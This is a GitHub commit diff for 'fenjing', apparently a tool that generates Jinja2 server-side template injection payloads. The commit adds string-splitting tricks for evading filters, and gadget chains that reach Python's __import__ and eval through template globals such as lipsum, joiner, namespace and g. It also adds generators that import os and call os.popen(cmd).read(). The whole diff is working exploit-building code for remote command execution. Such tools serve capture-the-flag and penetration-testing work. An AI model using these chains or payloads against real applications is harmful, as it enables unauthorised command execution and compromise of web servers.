Skip to content

Commit

Permalink
Add ONEOF gen type, which will generate one of the provided req.
Browse files Browse the repository at this point in the history
  • Loading branch information
@Marven11
Marven11 committed Jul 26, 2023
1 parent bd0620e commit a9de552
Show file tree
Hide file tree
Showing 2 changed files with 127 additions and 20 deletions.
2 changes: 2 additions & 0 deletions fenjing/const.py
View file
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@

LITERAL = "literal"
UNSATISFIED = "unsatisfied"
ONEOF = "oneof"
WITH_CONTEXT_VAR = "with_context_var"
ZERO = "zero"
POSITIVE_INTEGER = "positive_integer"
Expand All @@ -25,6 +26,7 @@
ITEM = "item"
CLASS_ATTRIBUTE = "class_attribute"
CHAINED_ATTRIBUTE_ITEM = "chained_attribute_item"
IMPORT_FUNC = "import_func"
EVAL_FUNC = "eval_func"
EVAL = "eval"
CONFIG = "config"
Expand Down
145 changes: 125 additions & 20 deletions fenjing/payload_gen.py
View file
Original file line number Diff line number Diff line change
Expand Up @@ -69,6 +69,7 @@ def __init__(
(lambda gen_req: (gen_req[1], {})),
),
((lambda gen_req: gen_req[0] == UNSATISFIED), (lambda gen_req: None)),
((lambda gen_req: gen_req[0] == ONEOF), self.oneof_generate),
(
(lambda gen_req: gen_req[0] == WITH_CONTEXT_VAR),
(lambda gen_req: ("", {gen_req[1]: self.context[gen_req[1]]})),
Expand All @@ -80,7 +81,7 @@ def __init__(
((lambda gen_req: True), self.common_generate),
]
self.used_count = defaultdict(int)

self.detect_mode = detect_mode
if detect_mode == DETECT_MODE_FAST:
for k in gen_weight_default:
self.used_count[k] += gen_weight_default[k]
Expand Down Expand Up @@ -110,6 +111,14 @@ def generate_by_list(
return None
return str_result, used_context

def oneof_generate(self, gen_req: ReqGenRequirement) -> Union[ReqGenResult, None]:
_, *reqs = gen_req
for req in reqs:
ret = self.generate_by_list(req)
if ret is not None:
return ret
return None

def common_generate(self, gen_req: ReqGenRequirement) -> Union[ReqGenResult, None]:
gen_type: str
gen_type, *args = gen_req
Expand All @@ -118,7 +127,8 @@ def common_generate(self, gen_req: ReqGenRequirement) -> Union[ReqGenResult, Non
return None

gens = req_gens[gen_type].copy()
gens.sort(key=lambda gen: self.used_count[gen.__name__], reverse=True)
if self.detect_mode == DETECT_MODE_FAST:
gens.sort(key=lambda gen: self.used_count[gen.__name__], reverse=True)
for gen in gens:
gen_ret: ReqGenReturn = gen(self.context, *args)
ret = self.generate_by_list(gen_ret)
Expand Down Expand Up @@ -904,7 +914,43 @@ def gen_string_context(context: dict, value: str):
return [(LITERAL, v)] + [(WITH_CONTEXT_VAR, v)]


@req_gen
def gen_string_twostringconcat(context: dict, value: str):
if len(value) <= 2 or len(value) > 20:
return [
(UNSATISFIED, )
]
return [
(
ONEOF,
*[
[
(LITERAL, "'{}'".format(value[:i].replace("'", "\\'"))),
(LITERAL, "'{}'".format(value[i:].replace("'", "\\'")))
]
for i in range(1, len(value) - 1)
]
)
]

@req_gen
def gen_string_twostringconcat2(context: dict, value: str):
if len(value) <= 2 or len(value) > 20:
return [
(UNSATISFIED, )
]
return [
(
ONEOF,
*[
[
(LITERAL, "\"{}\"".format(value[:i].replace("\"", "\\\""))),
(LITERAL, "\"{}\"".format(value[i:].replace("\"", "\\\"")))
]
for i in range(1, len(value) - 1)
]
)
]

@req_gen
def gen_string_concat1(context: dict, value: str):
Expand Down Expand Up @@ -1229,48 +1275,61 @@ def gen_chained_attribute_item_normal(context, obj_req, *attr_item_req):

# ---


# ---
@req_gen
def gen_import_func_g(context):
return [(
CHAINED_ATTRIBUTE_ITEM,
(LITERAL, "g"),
(ATTRIBUTE, "pop"),
(ATTRIBUTE, "__globals__"),
(ITEM, "__builtins__"),
(ITEM, "__import__")
)]


@req_gen
def gen_eval_func_lipsum(context):
def gen_import_func_lipsum(context):
return [
(
CHAINED_ATTRIBUTE_ITEM,
(LITERAL, "lipsum"),
(ATTRIBUTE, "__globals__"),
(ITEM, "__builtins__"),
(ITEM, "eval"),
(ITEM, "__import__"),
)
]


@req_gen
def gen_eval_func_joiner(context):
def gen_import_func_joiner(context):
return [
(
CHAINED_ATTRIBUTE_ITEM,
(LITERAL, "joiner"),
(ATTRIBUTE, "__init__"),
(ATTRIBUTE, "__globals__"),
(ITEM, "__builtins__"),
(ITEM, "eval"),
(ITEM, "__import__"),
)
]


@req_gen
def gen_eval_func_namespace(context):
def gen_import_func_namespace(context):
return [(
CHAINED_ATTRIBUTE_ITEM,
(LITERAL, "namespace"),
(ATTRIBUTE, "__init__"),
(ATTRIBUTE, "__globals__"),
(ITEM, "__builtins__"),
(ITEM, "eval")
(ITEM, "__import__")
)]



# ---


@req_gen
def gen_eval_func_g(context):
return [(
Expand All @@ -1282,6 +1341,46 @@ def gen_eval_func_g(context):
(ITEM, "eval")
)]


@req_gen
def gen_eval_func_lipsum(context):
return [
(
CHAINED_ATTRIBUTE_ITEM,
(LITERAL, "lipsum"),
(ATTRIBUTE, "__globals__"),
(ITEM, "__builtins__"),
(ITEM, "eval"),
)
]


@req_gen
def gen_eval_func_joiner(context):
return [
(
CHAINED_ATTRIBUTE_ITEM,
(LITERAL, "joiner"),
(ATTRIBUTE, "__init__"),
(ATTRIBUTE, "__globals__"),
(ITEM, "__builtins__"),
(ITEM, "eval"),
)
]


@req_gen
def gen_eval_func_namespace(context):
return [(
CHAINED_ATTRIBUTE_ITEM,
(LITERAL, "namespace"),
(ATTRIBUTE, "__init__"),
(ATTRIBUTE, "__globals__"),
(ITEM, "__builtins__"),
(ITEM, "eval")
)]


# ---


Expand Down Expand Up @@ -1338,16 +1437,14 @@ def gen_config_self(context):
# ---


# @req_gen
# def gen_module_os_urlfor(context):
# return [
# (
# CHAINED_ATTRIBUTE_ITEM,
# (LITERAL, "url_for"),
# (ATTRIBUTE, "__globals__"),
# (ITEM, "os"),
# )
# ]
@req_gen
def gen_module_os_import(context):
return [
(IMPORT_FUNC, ),
(LITERAL, "("),
(STRING, "os"),
(LITERAL, ")"),
]


@req_gen
Expand Down Expand Up @@ -1407,6 +1504,14 @@ def gen_os_popen_read_normal(context, cmd):
(LITERAL, "())"),
]

@req_gen
def gen_os_popen_read_normalspace(context, cmd):
return [
(LITERAL, "("),
(ATTRIBUTE, (OS_POPEN_OBJ, cmd), "read"),
(LITERAL, "( ))"),
]

@req_gen
def gen_os_popen_read_normal2(context, cmd):
return [
Expand Down

0 comments on commit a9de552

Please sign in to comment.